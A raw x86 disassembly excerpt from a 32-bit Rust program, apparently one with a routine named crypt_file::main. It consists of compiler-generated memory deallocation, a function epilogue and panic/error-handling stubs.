push eax
push dword [ebp - 0x11c]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x170]
test eax, eax
je 0x10005664
push 1
push eax
push dword [ebp - 0x16c]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x114]
test eax, eax
je 0x1000567f
push 1
push eax
push dword [ebp - 0x110]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x108]
test eax, eax
je 0x1000569a
push 1
push eax
push dword [ebp - 0x104]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x5c]
test eax, eax
je 0x100056af
push 1
push eax
push dword [ebp - 0x14]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x134]
test eax, eax
je 0x100056c7
push 1
push eax
push dword [ebp - 0x60]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x17c]
test eax, eax
je 0x100056e2
push 1
push eax
push dword [ebp - 0x178]
call sym.___rust_dealloc
add esp, 0xc
call sym.crypt_file::main::h345d4e221b8f90b9
mov eax, dword [ebp - 0x13c]
lea esi, [eax + 4]
jmp 0x1000570b
add esi, 0xc
dec dword [ebp - 0x14c]
je 0x10005721
mov eax, dword [esi - 4]
test eax, eax
je 0x10005700
push 1
push eax
push dword [esi]
call sym.___rust_dealloc
add esp, 0xc
jmp 0x10005700
mov eax, dword [ebp - 0x194]
test eax, eax
je 0x10005742
shl eax, 2
lea eax, [eax + eax*2]
push 4
push eax
push dword [ebp - 0x13c]
call sym.___rust_dealloc
add esp, 0xc
mov eax, 1
add esp, 0x198
pop esi
pop edi
pop ebx
pop ebp
ret
push 0
call sym.std::process::exit::hae701582965564e4
add esp, 4
jmp 0x1000586d
mov ecx, 0x1015787c
jmp 0x1000576d
mov ecx, 0x1015786c
push ecx
push dword [ebp - 0x18]
push eax
call sym.core::panicking::panic_bounds_check::hf1cd1614d6353f3c
add esp, 0xc
jmp 0x1000586d
mov dword [ebp - 0xf4], 4
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xec], 4
mov dword [ebp - 0xe8], 0
push 0x1015788c
lea eax, [ebp - 0xf4]
push eax
call sym.core::panicking::panic_fmt::hced28cb7137b21e1
add esp, 8
jmp 0x1000586d
push 0x101575cc
push 0
push 1
call sym.core::option::expect_failed::hd8e256290d73f0e2
add esp, 0xc
jmp 0x1000586d
push 0x1015785c
push 0x13
push 0x10157848
call sym.core::panicking::panic::hf6244c8fb5815825
add esp, 0xc
jmp 0x1000586d
lea eax, [ebp - 0x12c]
push 0x10105348
push 0x10105368
push eax
push 0x37
push 0x101052c4
call sym.core::result::unwrap_failed::h534a40e08cfe968a
add esp, 0x14
jmp 0x1000586d
movsd xmm0, qword [ebp - 0x54]
movsd qword [ebp - 0x164], xmm0
lea esi, [ebp - 0x164]
push 0x101575dc
push 0x10105358
push esi
push 0
push 1
call sym.core::result::unwrap_failed::h534a40e08cfe968a
add esp, 0x14
jmp 0x1000586d
movsd xmm0, qword [ebp - 0x54]
movsd qword [ebp - 0x144], xmm0
push 0x10157838
push 0x10105358
push esi
push 0
lea eax, [ebp - 0x12c]
push eax
call sym.core::result::unwrap_failed::h534a40e08cfe968a
add esp, 0x14
ud2